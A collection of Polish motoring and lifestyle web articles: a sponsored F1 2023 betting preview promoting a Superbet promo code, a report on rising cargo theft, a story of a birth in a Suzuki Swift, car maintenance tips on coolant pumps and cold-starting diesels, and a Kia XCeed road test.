Obrońcą tytułu w sezonie 2023 będzie Max Verstappen. Holenderski kierowca podczas minionego sezonu nie pozostawił żadnych złudzeń i szybko rozstrzygnął losy rywalizacji. Początkowo wydawało się, że Ferrari będzie w stanie nawiązać walkę, jednak udało im się to za sprawą Charlesa Leclerca głównie na początku sezonu. Im dalej w las, tym lepiej radził sobie Max Verstappen, a przez to ściganie nie było tak emocjonujące, jak w kampanii 2021. Zakłady bukmacherskie uznają tego kierowcy za głównego kandydata do zwycięstwa w klasyfikacji generalnej również w 2023 roku. Max Verstappen ma na swoim koncie 2 tytuły Mistrza Świata i wywalczył je w dwóch poprzednich sezonach. Holender z pewnością będzie celował w ustrzelenie hat-tricka, jednak nie ma wątpliwości, że czeka go o wiele trudniejsze zadanie niż w poprzedniej kampanii, gdzie w zasadzie rywalizował tylko z Ferrari. Tak naprawdę wiele może zależeć od sprzętu, co pokazała poprzednia kampania, w której jeden z głównych faworytów, czyli Hamilton w zasadzie wypisał się z rywalizacji przez technologię. Jeśli jednak Red Bull dostarczy Maxowi maszynę na takim poziomie, jak przed rokiem, to można się spodziewać zażartej walki o tytuł.

verstappen

Verstappen pomimo tego, że bardzo szybko zapewnił sobie tytuł, nie osiadł na laurach i nie odpuścił kolejnych wyścigów. Max zanotował 4 wygrane w 5 ostatnich startach ubiegłej kampanii. Każdy, kto wykorzystał kod promocyjny do Superbet na wygraną Maxa w poprzednim sezonie, z pewnością miał powody do zadowolenia.

Verstappen – statystyki:

  • Max Verstappen dwa razy w karierze został Mistrzem Świata.
  • Holender wygrał tytuł w dwóch poprzednich sezonach.
  • Verstappen wygrał najwięcej wyścigów w poprzednim sezonie.
  • Holender w 4 z 5 ostatnich rywalizacji zaliczył zwycięstwo.

Charles Leclerc

Zawodnik z księstwa Monaco w poprzednim sezonie zaliczył doskonały początek, jednak nie potrafił utrzymać dobrej formy przez cały sezon. Leclerc na starcie kampanii wygrał GP Bahrajnu, a także radził sobie w kolejnych wyścigach, notując odpowiednio 1,2,1 miejsca w 3 startach. Spadek formy można było zauważyć podczas GP Hiszpanii, a także Azerbejdżanu. Leclerc w zasadzie do końca wygrał już tylko GP Austrii i w pozostałych wyścigach rywalizował głównie o miejsca na podium, bardziej, niż o wygrane. Gdy wszystko praktycznie w klasyfikacji generalnej było już jasne, Leclerc zanotował jeszcze pozycję wicelidera we Włoszech, Singapurze, a także Abu Dhabi.

GP Bahrajnu

Zanim odbędzie się GP Bahrajnu, wszystkie drużyny przeprowadzą testy swoich samochodów. Początek poprzedniego sezonu wskazywał na znakomitą formę Ferrari GP Bahrajnu padło łupem Charlesa Leclerca, który triumfował przed Carlosem Sainzem. Ostatnie miejsce na podium zajął Lewis Hamilton. Max Verstappen pomimo słabszego wyniku na starcie kampanii szybko odrobił straty w kolejnych wyścigach.

Ogólnie patrząc na statystyki, Lewis Hamilton znakomicie z reguły radzi sobie na tym torze. Brytyjczyk dobrze czuje się w Bahrajnie, co widać w tabeli wygranych z poprzednich lat, ponieważ zaliczył 5 triumfów od początku swojej kariery. Max Verstappen od początku zawodowego ściągania nie zanotował żadnej wygranej na torze w Bahrajnie. Hamilton ma najwięcej wygranych w historii tego GP, a drugi jest Sebastian Vettel z wynikiem 4 triumfów.

Jeśli jednak chodzi o liczbę zwycięstw poszczególnych zespołów, to tutaj najlepsza historycznie jest drużyna Ferrari. Mają oni na koncie 7 wygranych, podczas gdy Mercedes triumfował dokładnie 6 razy. Czy takie wyniki zmienią się już po pierwszym wyścigu w sezonie 2023? Superbet kod promocyjny możesz wykorzystać do typowania GP Bahrajnu.

Jeśli chodzi o propozycje od zakładów bukmacherskich, to największe szanse na zwycięstwo w tym Grand Prix ma Max Verstappen. Z uwagi na znakomite statystyki historyczne wysoko oceniane są również szanse Lewisa Hamiltona. Tak naprawdę jednak kursy do wykorzystania z kodem promocyjnym Superbet przed pierwszym wyścigiem tego sezonu mogą się mocno zmieniać w zależności od testów poszczególnych drużyn. Taką sytuację można było zaobserwować również przed startem poprzedniej kampanii. Superbet kod promocyjny zapewni Ci dostęp do najlepszej oferty powitalnej w Polsce.

Obstawianie zakładów bukmacherskich niesie ze sobą ryzyko uzależnienia. Pamiętaj, że nie może być sposobem na życie. W Polsce korzystanie z usług nielegalnych bukmacherów jest zabronione, możesz grać wyłącznie u tych operatorów, którzy posiadają zezwolenie Ministerstwa Finansów.

Zakłady wzajemne urządzane przez sieć Internet przyjmowane są na stronie internetowej Spółki pod adresem www.superbet.pl na podstawie zezwolenia Ministerstwa Finansów z dnia 24.10.2019 r., o nr PS4.6831.5.2019.

Autor tekstu: Mateusz Nowak – Senior Project Manager, redaktor naczelny Zagranie.com, absolwent dziennikarstwa sportowego i zarządzania w sporcie na UAM i fan piłki nożnej! Na Twitterze – @Mati_N95

Source: Hamilton czy Verstappen – kto ma większe szanse na tytuł MŚ?

Kradzieże w transporcie – rośnie ich skala. Alarmujące dane TAPA

Niestety, w 2023 r. spodziewany jest wzrost kradzieży ładunków i problemów z zaburzeniem łańcucha dostaw. Jak można zabezpieczyć towary przed tego typu przestępstwami i ich skutkami? Kradzieże w transporcie to ostatnio plaga.

Kradzieże ładunków w transporcie stanowią poważne zagrożenie dla branży logistycznej i handlu. Skala tego zjawiska rośnie z roku na rok. Potwierdzają to wyniki nowego raportu TAPA na temat kradzieży ładunków w regionie Europy, Bliskiego Wschodu i Afryki. Łączna wartość strat poniesionych z tego powodu w badanym okresie wyniosła ponad 126,5 miliona euro. Zjawisko jest wynikiem zarówno zwiększenia wartości przemieszczanych towarów, jak i braku powszechnego stosowania wystarczających środków bezpieczeństwa. W dalszym ciągu wiele firm transportowych nie jest w stanie poradzić sobie z rosnącym ryzykiem kradzieży, co prowadzi nie tylko do strat finansowych, ale również do utraty reputacji i zaufania klientów.

Kradzieże w transporcie: kto stoi za kradzieżami?

Ze względu na globalną niestabilność gospodarczą za masowe straty odpowiedzialne są przede wszystkim tzw. zorganizowane grupy przestępcze (ZGP). Są one szczególnie zainteresowane przywłaszczeniem towarów o dużej wartości, przeznaczonych do późniejszej sprzedaży na czarnym rynku. Trzeba przyznać, że ZGP stają się także coraz bardziej kreatywne w swoich rabunkach.

kradzieże w transporcie

Wykorzystują one różne techniki, takie jak podszywanie się pod oficjalne firmy transportowe, pozyskiwanie od informatorów danych o trasie przejazdu, a następnie ukrywanie się na niej i przeprowadzanie napadu czy wykorzystywanie szpiegowskiego oprogramowania, aby śledzić pojazdy i uzyskać dostęp do ważnych informacji, takich jak czas przybycia, miejsce postoju i rodzaj ładunku.

Jak można zabezpieczyć się przed skutkami kradzieży?

Niedawno na rynku pojawiło się nowe rozwiązanie Value Protect Solution (VPS). Jest to zalecana metoda zabezpieczania przesyłek firmowych, która obejmuje trzy dopasowane do siebie elementy.

Celem Value Protect jest wspieranie podstawowej działalności naszych klientów i pomoc w walce z rabunkami – mówi Bartosz Boguszewski, Menedżer ds. Value Protect Solution w C.H. Robinson.

Value Protect Solution – co to jest?

Chodzi o zapewnienie spokoju podczas transportu towarów bez strat. VPS zawiera w sobie trzy strategicznie połączone czynniki:

  • Sieć wykwalifikowanych przewoźników przestrzegających wymogów bezpieczeństwa TAPA i lokalnych przepisów.
  • Rozwiązania do monitorowania w czasie rzeczywistym – wskazówki dotyczące optymalizacji łańcucha dostaw za pośrednictwem platformy Navisphere, która dostarcza prognozy oraz możliwość analizowania danych z przeszłości i optymalizowania rozwiązań.
  • Zespół ekspertów ds. łańcuchów dostaw.

Source: Kradzieże w transporcie – rośnie ich skala. Alarmujące dane TAPA

Poród w Suzuki Swift i to w Polsce! Jak do tego doszło?

Narodziny dziecka w samochodzie to w obecnych czasach niezwykle rzadkie incydenty. Tym razem taki poród został odebrany w Polsce. Tadeusz Noworyta, dziadek urodzonego dziecka, zgodził się opowiedzieć nam tę historię – przecież poród w Suzuki Swift zdarzył się pierwszy raz w Polsce, a może nawet na świecie?

Dzień narodzin wnuka jest dla każdego dziadka dniem szczególnym, ale nie dla każdego dziadka szczególny z tego powodu może być też samochód – mówi Tadeusz Noworyta, szczęśliwy dziadek dziecka urodzonego 27 grudnia 2022 roku w Suzuki Swift.

Poród w Suzuki Swift

Poród w Suzuki Swift

Pan Tadeusz wspomina, że zaczęło się od awarii samochodu zięcia w drodze do szpitala.

Zadzwonił do mnie i zapytał, czy może przesiąść się do Suzuki Swifta babci, czyli mojej żony. Bez chwili wahania zgodziliśmy się, ale gdy tylko przesiedli się i ruszyli w dalszą podróż do szpitala, zaczął się poród. Zięć przesunął maksymalnie do tyłu przedni fotel pasażera, na którym siedziała ciężarna córka i… odebrał poród.

Ze szczęśliwym dziadkiem Tadeuszem spotkałyśmy się miesiąc po narodzinach wnuka, ale wciąż słychać było emocje w jego relacji.

Wnuk jest zdrowy, cudownie się rozwija i przyszedł na świat prawie w takich warunkach, jakie zaplanowała córka i zięć. Chcieli, żeby ich syn urodził się w jak najmniej stresujący sposób – miał być basen i niewielka liczba asystujących osób. Było wnętrze Swifta – choć niewielkie, to wystarczające na powitanie potomka – i asysta taty – śmieje się pan Tadeusz i dodaje – Przed porodem to Suzuki Swift było ulubionym samochodem mojej żony, ale teraz ta nasza „porodówka” na czterech kołach stała się czymś wyjątkowym dla naszej całej rodziny.

Jest to prawdopodobnie pierwsze na świecie Suzuki Swift, w którym urodziło się dziecko.

Szczęśliwym rodzicom i dziadkom życzymy, by ich potomek zdrowo się rozwijał. A nuż, rozwinie się w nim wkrótce motoryzacyjna pasja?

Source: Poród w Suzuki Swift i to w Polsce! Jak do tego doszło?

Wymiana pompy cieczy chłodzącej – jak rozpoznać objawy awarii? Kluczowe wskazówki montażowe

Spis treści

Wymiana pompy cieczy chłodzącej napędzanej paskiem rozrządu bywa na tyle kłopotliwa, że niektórzy mechanicy pomijają ją zawsze, gdy tylko nadarzy się okazja. To duży błąd, ponieważ rezygnacja z tej czynności np. przy wymianie rozrządu, oznacza zazwyczaj, że samochód powróci do warsztatu po kilkunastu tysiącach kilometrów, jeśli nie szybciej.

Często bagatelizowany problem skłonił nas do zajęcia się tym tematem w poniższym artykule, który polecamy pod kątem rozpoznawania objawów awarii pompy cieczy chłodzącej i sposobów jak ją wykryć, a dziś zajmiemy się wskazówkami dotyczącymi wymiany tego ważnego elementu auta.

Wymiana pompy cieczy chłodzącej – dlaczego ważna?

Przypominamy, że w materiale poruszamy temat pomp napędzanych paskiem rozrządu. Takie pompy należy wymieniać zawsze razem z rozrządem, ponieważ przewidywana żywotność pomp jest zbliżona do żywotności rozrządu. Jeśli pasek wymienia się co 90 tys. km, bardzo wątpliwe jest to, że pompa wytrzyma dwa interwały wymiany paska. Oczywiście, może się tak wydarzyć, ale bardziej prawdopodobne jest, że zużyje się np. po 150 tys. km. Wyjątek stanowią modele aut, w których rozrząd wymienia się co 200 tys. km. Wówczas pompy do nich wytrzymują odpowiednio większy przebieg.  

Należy pamiętać, że nowy zestaw rozrządu zazwyczaj nieco mocniej obciąża koło pasowe pompy niż stary, a zatem jeśli pozostawi się starą pompę, żywotność jej łożyska drastycznie się skróci.

Na zdjęciu pompa układu chłodzącego z elektrycznym sterowaniem.

wymiana pompy cieczy chłodzącej

Pompa układu chłodzącego z elektrycznym sterowaniem.

Awaria pompy cieczy chłodzącej – objawy. Jak rozpoznać konieczność wymiany pompy przed terminem?

Zdarza się, że pompa cieczy nie wytrzymuje do kolejnej wymiany rozrządu. Być może była kiepskiej jakości albo ktoś jej nie wymienił w terminie. Głównym sygnałem zużycia pompy jest jej wzmożony hałas. Innym objawem może być delikatny wyciek płynu chłodzącego przez kontrolny otworek w pompie. Jeszcze innym objawem będą zaburzenia pracy układu chłodzącego. Dzieje się tak wtedy, kiedy zużywają się łopatki pompy lub jej cały wirnik przestanie się obracać w wyniku uszkodzenia łopatek lub ułożyskowania ośki pompy.

W okresie zimowym zdarza się, że łopatki pompy zamarzają razem z wodą pozostawioną zamiast płynu w układzie. W takiej sytuacji zamarznięte łopatki pompy ulegają uszkodzeniu.

Wymiana pompy cieczy chłodzącej – czynności poprzedzające

Koniecznie trzeba zaopatrzyć się w zbiornik do spuszczenia płynu chłodniczego i zapoznać z procedurą wymiany pompy w danym modelu samochodu, a także odszukać lokalizacje zaworków do odpowietrzania układu chłodzenia. Bywa, że w niektórych modelach samochodów po wymianie pompy cieczy układ należy odpowietrzać ciśnieniowo, ponieważ tradycyjne odpowietrzanie (np. przez wlew płynu chłodniczego) okaże się nieskuteczne. Ponieważ wymiana pompy wymaga demontażu rozrządu, należy do tego przygotować silnik ustawiając odpowiednio tłoki i wkładając w blok oraz głowicę odpowiednie blokady.

Wymiana pompy cieczy chłodzącej – co robić w trakcie procedury?

Należy zawsze przykładać dużą wagę do oczyszczenia i osuszenia miejsca mocowania nowej pompy po demontażu starej. Należy bezwzględnie przestrzegać instrukcji montażowych. Jeśli wymagany jest montaż na uszczelkach – należy się tego trzymać. Jeśli producent zaleca użycie kleju montażowego lub silikonu także należy traktować to jako wymóg obligatoryjny. Jeśli producent podaje wskazówki dotyczące dokręcania śrub lub wstępnej regulacji napięcia nowego paska rozrządu pompą – także należy zastosować się do instrukcji.

UWAGA! Zbyt mocno napięty pasek rozrządu może spowodować przedwczesne zużycie nowej pompy, łożysk w napinaczach i rolkach prowadzących a nawet zerwanie paska.

Równie niebezpieczny jest pasek z niedostatecznym napięciem, ponieważ luz może spowodować zsuwanie się paska z kół zębatych lub przeskoczenie paska i demolkę silnika.

Konieczne jest również sprawdzenie osiowości innych elementów, takich jak zębatki wałka rozrządu, wału korbowego lub pompy wtryskowej. Odchyłki mogą prowadzić do zerwania rozrządu.

Wymiana pompy cieczy chłodzącej – co potem?

Niestety – kontrola szczelności układu chłodniczego może zostać przeprowadzona dopiero po złożeniu całego rozrządu, demontażu blokad i uruchomieniu silnika (no chyba, że mechanik ma możliwość wykonania kontroli ciśnieniowej układu). W związku z tym, należy uzbroić się w cierpliwość i sprawdzać szczelność dopiero wtedy, kiedy silnik uzyska temperaturę roboczą, otworzy się termostat, a układ będzie pracował stabilnie, po odpowietrzeniu.

Jeśli pojawią się wycieki z okolicy pompy należy:

  • rozebrać rozrząd ponownie,
  • naprawić uszczelnienie mocowania pompy
  • przy ponownym montażu rozrządu – zwrócić uwagę na oznaczenia napięcia napinacza.

Niektóre napinacze mają dwa znaczniki prawidłowego napięcia:

  • pierwsze, które należy wybrać przy pierwszym montażu,
  • drugie – odpowiednie dla kolejnego montażu, kiedy pasek zębaty będzie już trochę naciągnięty.

Oczywiście, jeśli wszystko jest w porządku, należy ponownie upewnić się, że układ chłodzenia nie jest zapowietrzony.

Źródło: Airtex

Source: Wymiana pompy cieczy chłodzącej – jak rozpoznać objawy awarii? Kluczowe wskazówki montażowe

PILNE: czeka nas spadek temperatury poniżej 0 st. C. Jak odpalić swojego diesla w mroźny poranek?

Spis treści

Jak odpalić diesla w mróz? Czynność niby banalnie prosta, ale przy niskich temperaturach może się okazać czasochłonna i problematyczna. Jak zatem przygotować się na zimne poranki?

Silnik Diesla – historia, zalety i wady

W lutym 1893 roku miało miejsce przełomowe w historii motoryzacji wydarzenie – niemiecki wynalazca, Rudolf Diesel, opatentował swój wynalazek. Cztery lata później zbudował silnik wysokoprężny nazywany potocznie silnikiem diesla. Początkowo, do lat siedemdziesiątych ubiegłego wieku jednostki te stosowane były przeważnie w samochodach ciężarowych, maszynach budowlanych, okrętach i napędach stacjonarnych. Od lat osiemdziesiątych zaczęto montować je seryjnie również do samochodów osobowych. Jednostki te ceniono głównie za wysoką trwałość oraz wyższą sprawność w stosunku do silników z zapłonem iskrowym.

Od kilku lat sukcesywnie spada liczba rejestrowanych aut z silnikiem wysokoprężnym, zarówno
w przypadku aut używanych jak i nowych. Pomimo tych tendencji po polskich drogach porusza się wciąż bardzo duża liczba samochodów, których silniki są zasilane olejem napędowym. Przy bardzo niskich temperaturach narażone są na większe problemy z uruchomieniem niż benzyniaki.  Podczas ostrej zimowej aury, właściwości oleju napędowego ulegają zmianie, staje się on bardziej gęsty i lepki, utrudniając uruchomienie silnika.

Noce w zimie potrafią być bardzo mroźne. W takich warunkach nawet nowe auta mogą mieć problemy z odpaleniem, a starsze samochody diesla wymagają by ich elementy zapłonu były w pełni sprawne. Dlatego należy przed zimą dokonać stosownego przeglądu w wykwalifikowanym warsztacie samochodowym ­– mówi Piotr Janta z serwisu Auto Partner.

Warto wiedzieć więc jak przygotować i zabezpieczyć się na wypadek nieprzyjemnej niespodzianki – trudności z uruchomieniem silnika Diesla w zimowy poranek.

Jak odpalić diesla w mróz? Poranne zmagania

Aby zimowe poranki nie przerodziły się w walkę pomiędzy autem z silnikiem Diesla, a jego właścicielem, warto zadbać o dobry stan układów odpowiedzialnych za rozruch przed nadejściem mrozu. Podstawowym elementem każdego samochodu, który umożliwia rozruch jest akumulator. Od niego zależy napięcie jakie zostanie wytworzone w trakcie próby zapłonu. W przypadku, gdy bateria auta ma ponad trzy lata, jej sprawność może być niższa nawet o 40 proc w stosunku do nowego podzespołu.
W trakcie rozruchu warto zaobserwować, czy kontrolki na tablicy rozdzielczej nie przygasają i jeśli taka sytuacja ma miejsce należy rozważyć zakup nowego akumulatora lub podpięcie go pod prostownik w domu.

jak odpalić Diesla w mróz

Świece żarowe – ich stan jest ważny przy uruchamianiu auta

Gdy szukamy odpowiedzi na pytanie jak odpalić Diesla w mróz, to warto zauważyć, że niektórzy kierowcy bagatelizują kwestię stanu świec żarowych. Przy uruchamianiu samochodu rozgrzewają one komorę spalania do temperatury ok. 600 oC, co ma spowodować, że olej napędowy zapali się samoczynnie. W silniku Diesla nie ma bowiem czynnika inicjującego, jakim jest iskra występująca w silniku benzynowym. Dlatego tak ważne jest zachowanie sprawnych świec żarowych wspomagających rozruch silnika.

Producenci samochodów nie przewidują okresowej wymiany świec żarowych, jak to się ma przy świecach zapłonowych. Zakłada się jednak, że powinny one wystarczyć na ok 15 tys. cykli rozruchowych. Na ich trwałość wpływa wiele różnych czynników, jak choćby jakość tankowanego paliwa, jakość oleju
i oczywiście sam sposób eksploatacji pojazdu. Warto dbać o dobry ich stan, ponieważ wypalone elementy grzejne świecy mogą oderwać się, a ich kawałki wpaść do cylindra powodując uszkodzenia np. tłoka.

Jakość paliwa i stan filtrów

Kolejnym elementem, na który należy zwrócić uwagę, gdy mowa o tym, jak odpalić Diesla w mróz, jest jakość stosowanego oleju napędowego oraz stan filtrów paliwa w aucie. Gdy na zewnątrz pojawia się mróz, wskazane jest stosowanie paliwa, które zawiera specjalne dodatki (zgodnie z normą PN-EN590:2013), dzięki którym jego właściwości nie ulegną zmianie, pomimo bardzo niskich temperatur.  

Dla wzbogacenia paliwa stosuje się również środki, tzw. depresatory mające za zadanie obniżyć temperaturę mętnienia paliwa, co może uchronić przed zapchaniem filtra i w efekcie uniemożliwieniem przepływu paliwa. Należy jednak pamiętać, aby depresatory zostały dodane do paliwa przed wystąpieniem problemów z wytrąceniem kryształków parafiny. W przeciwnym wypadku ich zastosowanie nie przyniesie zamierzonych efektów. Rozwiązanie to jednak może się okazać droższe niż tankowanie specjalnego, sezonowego paliwa dobrej jakości.

Innym niebezpieczeństwem jest wytrącenie i osadzenie się wody na powierzchni filtra, co w przypadku mrozu może doprowadzić do powstania korka lodowego. Wówczas skutecznym sposobem na poprawę tego stanu rzeczy jest ogrzanie samochodu w garażu lub wymiana filtra.

Ogrzewanie postojowe, a może dodatki do paliwa?

Warunki atmosferyczne negatywnie wpływają na samochody, w szczególności w trakcie zimy. Aby nie mieć problemów i nie musieć sobie odpowiadać na pytanie jak odpalić Diesla w mróz,, to w przypadku problemów z zapłonem rozwiązaniem może być elektryczne ogrzewanie postojowe. Dzięki niemu temperatura wzrasta i jest o ok. 30 proc. wyższa od tej panującej na zewnątrz.

Stanowczo odradzam natomiast ulepszanie oleju napędowego na własną rękę poprzez dolewanie benzyny niskooktanowej, nafty czy denaturatu. Możemy w ten sposób doprowadzić do uszkodzenia układu wtryskowego, którego naprawa, w szczególnie wymiana pompowtryskiwaczy może okazać się bardzo kosztowna.

W przypadku, gdy zadbaliśmy o jakość i stan elementów układu zapłonowego w naszym dieslu, a jednak wciąż nie możemy uruchomić samochodu, rozwiązaniem może być użycie przewodów rozruchowych w celu „pożyczki” prądu od innego samochodu.

Jak podłączyć prawidłowo kable rozruchowe?

Aby prawidłowo podłączyć przewody łączymy najpierw plus akumulatora działającego auta z plusem samochodu, który chcemy uruchomić, a następnie minus z akumulatora sprawnego z masą unieruchomionego samochodu, np. z blokiem silnika.

Nie próbujmy za to uruchomić samochodu na tzw. pych, gdyż w przypadku silników Diesla nowych generacji może to doprowadzić do ich uszkodzenia.

Pamiętajmy też, że obowiązują nas odpowiednie przepisy, jeśli chodzi o zużyte baterie i akumulatory. Z ich treścią można się zapoznać tu.

Source: PILNE: czeka nas spadek temperatury poniżej 0 st. C. Jak odpalić swojego diesla w mroźny poranek?

Kia XCeed 1.5 T-GDi 7DCT Prestige Line – TEST – wrażenia z jazdy, dane techniczne, opinia

Spis treści

Kia to marka, która dokonała iście cywilizacyjnego skoku. Od kiepsko postrzeganych przez klientów, słabo wyposażonych i nieciekawych wizualnie aut z początku XXI wieku, po samochody, które przykuwają wzrok na ulicach, są dobrze wyposażone, funkcjonalne i dają frajdę z jazdy. Czy nowa Kia XCeed potwierdza ten pozytywny trend? Miałyśmy okazję się przekonać.

Kia XCeed – wygląd: wyraźnie inny

Kia XCeed to przedstawiciel segmentu aut kompaktowych. Choć nietypowy, to zdecydowanie podążający za modą. Z jednej strony XCeed nie może wyzbyć się genów swojego klasycznego, kompaktowego kuzyna – Kii Ceed – ale z drugiej, Koreańczycy zadali sobie trud, by dodając „crossoverowego” sznytu wyróżnić ten model od prostoplasty. Zabieg ten wypadł znacznie lepiej niż zrobił to np. Fiat uzupełniając Tipo o model Tipo Cross, czy Dacia, dodając do gamy Sandero wersję Sandero Stepway.

XCeed jest modelem zbieżnym wizualnie z Ceedem, ale zachowuje swoją designerską odrębność. Użyczon egzemplarz został osadzony na 18-calowych obręczach (standard w testowanej wersji wyposażenia; w bazowej koła mają 16 cali), więc ma też spory, wynoszący 184 mm prześwit – to już poziom notowany w kompaktowych SUV-ach. Trzeba jednak mieć na uwadze, że decydując się na mniejsze felgi, prześwit zmniejszy się do 170 mm.

Warto też pamiętać, że XCeed nie ma aspiracji dorównywania SUV-om, szczególnie czteronapędowym. Tutaj 4×4 nie jest dostępne w żadnej opcji, napęd jest zawsze na przód, a tryby jazdy nie zawierają żadnych „offroadowych”, elektronicznych pomocników. Większy prześwit ułatwi jednak dotarcie np. na działkę, czy agroturystyczny wypad za miasto.

Miłe dla oka proporcje sprawiają, że sylwetka przyciąga spojrzenia. Auto jest po prostu ładnie zaprojektowane i to nie tylko nasze zdanie. Dość agresywnie opadający tył, płetwa rekina, niewielki spojler, srebrne zdobienia na progach i tylnym zderzaku, ciekawie zarysowany pas przedni z wyróżniającym się kształtem reflektorów, to wszystko nadaje nowej Kii XCeed zadziorności.

W mijającym roku, podobnie jak modele Ceed i Proceed, również i młodszego od obu wymienionych XCeeda poddano drobnej modyfikacji. Naprawdę drobnej, bo to, co zmieniło się znacząco, to charakterystyczne, nowe logo marki. Mnie to nie dziwi, bo po co zmieniać coś, co jest dobre i się ani klientom nie znudziło, ani nie opatrzyło na ulicy?

Kia XCeed 1.5 T-GDi 7DCT Prestige Line

Kia XCeed 1.5 T-GDi 7DCT Prestige Line

Kia XCeed – wymiary

Kia XCeed - wymiary

Kia XCeed – wnętrze

Użyczony egzemplarz testowałyśmy w topowej (w momencie rejestrowania egzemplarza prasowego) odmianie Prestige Line. Dziś jest to wersja zastąpiona w ofercie przez wariant GT-Line. Bogaty wystrój widać od razu po zajęciu miejsca w kabinie. Bo zastajemy tu wygodne, dobrze trzymające ciało fotele. Siedzimy w starannie zaprojektowanym, uporządkowanym, ergonomicznie pomyślanym wnętrzu, wykonanym z przyzwoitych i dobrze spasowanych materiałów. Szeroki zakres elektronicznej regulacji siedzeń z pamięcią ustawień oraz długie siedziska sprawiają, że nawet po dłuższej podróży z tego auta wysiada się wypoczętym.

Również w drugim rzędzie zapewniono na tyle dużo miejsca, że dwóm dorosłym osobom będzie tu wygodnie. Mają one do swojej dyspozycji podłokietnik z miejscami na napoje i schowki w drzwiach. Nie zabrakło też głośników dostępnego w topowej wersji systemu audio marki JBL, który – jeśli lubisz głębokie basy – gra naprawdę świetnie. Może nawet najlepiej w segmencie?

Kia XCeed 1.5 T-GDi 7DCT Prestige Line

Kia XCeed 1.5 T-GDi 7DCT Prestige Line

Kia XCeed – bagażnik: w sam raz

Pojemność bagażnika w tym modelu to wg danych producenta 426 litrów. Nie jest to może rekordowa wartość w tym segmencie, ale dzięki temu, że przestrzeń jest bardzo foremna i ustawna, bez większych problemów można spakować się na dłuższy wyjazd. W przypadku wypraw wakacyjnych z kompletem pasażerów pamiętajmy, że można wspomóc się relingami dachowymi. Tylna kanapa składana jest w proporcjach 40/20/40, dzięki czemu można przewieźć dłuższe, wąskie przedmioty i wciąż zachować czteroosobową przestrzeń pasażerską.

Kia XCeed – wyposażenie: na bogato

Wersji Prestige Line trudno cokolwiek zarzucić, bo ten poziom wyposażenia jest kompletny – szczególnie porównując go do innych aut z tego segmentu. Podgrzewaną kierownicę i siedzenia z przodu doeceni każda kobieta, a podgrzewaną szybę przednią po prostu – każdy użytkownik auta.

Kierowca ma przed oczami czytelny zestaw wskaźników prezentowanych na cyfrowym wyświetlaczu, w konsoli centralnej jest dotykowy ekran z systemem multimedialnym – do którego obsługi trzeba się przyzwyczaić, bo nie jest zbyt intuicyjny – i nawigacją, współpracujący oczywiście i na szczęście z Apple CarPlay i Android Auto. Nie zabrakło też indukcyjnej ładowarki, gniazd USB, a o niezłym nagłośnieniu JBL już wspominałyśmy. Brawo!

Jedyne wątpliwości mogą budzić dotykowe skróty na panelu pod ekranem centralnym. Na wyboistej drodze trochę trudniej trafić we właściwą funkcję.

Kia XCeed – silnik: mały wybór

Aktualnie Kia XCeed jest dostępna tylko z dwoma odmianami silników. Turbodoładowanym benzyniakiem oraz jako hybryda plug-in z wolnossącym silnikiem, również benzynowym. Do testów otrzymałyśmy ten pierwszy wariant i wydaje się, że to optymalny wybór, dobrze pasujący do charakteru tego samochodu. Silnik 1.5 T-GDI to nowoczesna konstrukcja koncernu Hyundai z serii SmartStream – czterocylindrowa, turbodoładowana jednostka generuje 160 KM i 253 Nm momentu obrotowego, przenoszonego w „naszym” egzemplarzu na przednią oś za pośrednictwem siedmiobiegowego, dwusprzęgłowego automatu. Pierwszą setkę auto osiąga po 9,2 sekundy, a prędkość maksymalną producent deklaruje 208 km/h.

Kia XCeed 1.5 T-GDi 7DCT Prestige Line

Kia XCeed 1.5 T-GDi 7DCT Prestige Line

Kia XCeed – wrażenia z jazdy

Mimo sporego prześwitu do samochodu nie wsiada się jak do SUV-a – na całe szczęście. Podobne poczucie mamy za kierownicą. Fotel można sobie mocno obniżyć – co lubię – na tyle, że mamy wrażenie siedzenia blisko ziemi. Podczas jazdy pozwala to na lepsze wyczucie samochodu, zwłaszcza na zakrętach. Tu jednak czuć nieco wyższe gabaryty tego modelu i odbiegające od Ceeda zestrojenie zawieszenia.

Przy szybciej pokonywanych łukach auto potrafi się mocniej przechylić, co nie jest zbyt przyjemne dla lubiących dynamiczną jazdę. Ale to nie ta grupa docelowa – w końcu to wygodny, rodzinny model, a nie szybki hot hatch. Tak też – na spokojnie – działa skrzynia. No chyba, że ustawimy tryb sport, wówczas nieco dłużej trzyma silnik na obrotach (jednocześnie zmienia się wygląd ekranu przed oczami kierowcy z wyraźnym obrotomierzem po prawej stronie).

XCeed świetnie sprawdza się w mieście, np. podczas pokonywania typowych przeszkód: krawężników, hopek, kolein – to zasługa wspomnianego prześwitu. Auto ma też niezły promień skrętu, więc zawracanie nim na ciasnej ulicy lub parkowanie w wąskich przestrzeniach jest dość wygodne, choć widoczność do tyłu jest nieco ograniczona przez niewielkich rozmiarów szybę. Oczywiście manewry wspierają czujniki i kamera cofania.

Podczas jazdy autostradą donośnie słychać szum opływającego karoserię powietrza, jednak nie przeszkadza to w prowadzeniu normalnej konwersacji z pasażerami.

Kia XCeed 1.5 T-GDi 7DCT Prestige Line

Kia XCeed 1.5 T-GDi 7DCT Prestige Line

Kia XCeed – zawieszenie

Zawieszenie kompaktowej Kii XCeed nie jest szczególnie wyrafinowane. Na przedniej osi mamy klasyczne kolumny McPhersona ze sprężynami śrubowymi. Z tyłu Koreańczycy zastosowali układ wielowahaczowy. Czy taki zestaw się sprawdza? Bardzo dobrze! Szybkie, energiczne ruchy kierownicą nie wytrącają zbyt szybko auta z równowagi, choć trzeba przyznać, że nie jest to najbardziej komfortowo zestrojone zawieszenie. Coś za coś – jest dobrze w mieście i poza, ale możemy czasem poczuć na swych lędźwiach znaczące wyboje, czy nierówności nawierzchni.

Kia XCeed – opinia

Kia XCeed .5 T-GDi 7DCT to optymalny wybór, gdy zależy nam na w miarę uniwersalnym samochodzie do miasta, który posłuży nam też na wypady turystyczne. Ładny wygląd, bogate wyposażenie, dobry rozkład schowków i przydane na pokładzie gadżety sprawiają, że do wersji Prestige Line (GT Line) niewiele już warto domawiać.

Choć cena blisko 150 tys. złotych może z początku wystraszyć, to pamiętajmy, że wszystkie modele samochodów na polskim rynku podrożały, a XCeed na ich tle wydaje się naprawdę ciekawą alternatywą.

Kia XCeed – cena w Polsce

Nowa Kia XCeed startuje w najnowszym polskim cenniku koreańskiej marki od 104 500 zł za wersję z silnikiem 1.5 T-GDI i manualną, sześciobiegową skrzynią. Poniżej pełny cennik dostępnych w Polsce odmian tego modelu:

Kia XCeed - cennik 2023

Kia XCeed – dane techniczne

Kia XCeed - dane techniczne


